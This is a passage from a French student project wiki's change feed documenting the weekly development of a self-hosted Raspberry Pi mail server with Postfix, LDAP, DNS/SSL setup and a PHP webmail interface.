D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Readme-Intimail.pdf&amp;diff=27611</id>
		<title>Fichier:Readme-Intimail.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Readme-Intimail.pdf&amp;diff=27611"/>
				<updated>2016-02-23T10:32:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : Guide d'installation d'intiMail sur un système linux fraîchement installé.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Guide d'installation d'intiMail sur un système linux fraîchement installé.&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27610</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27610"/>
				<updated>2016-02-23T10:31:30Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
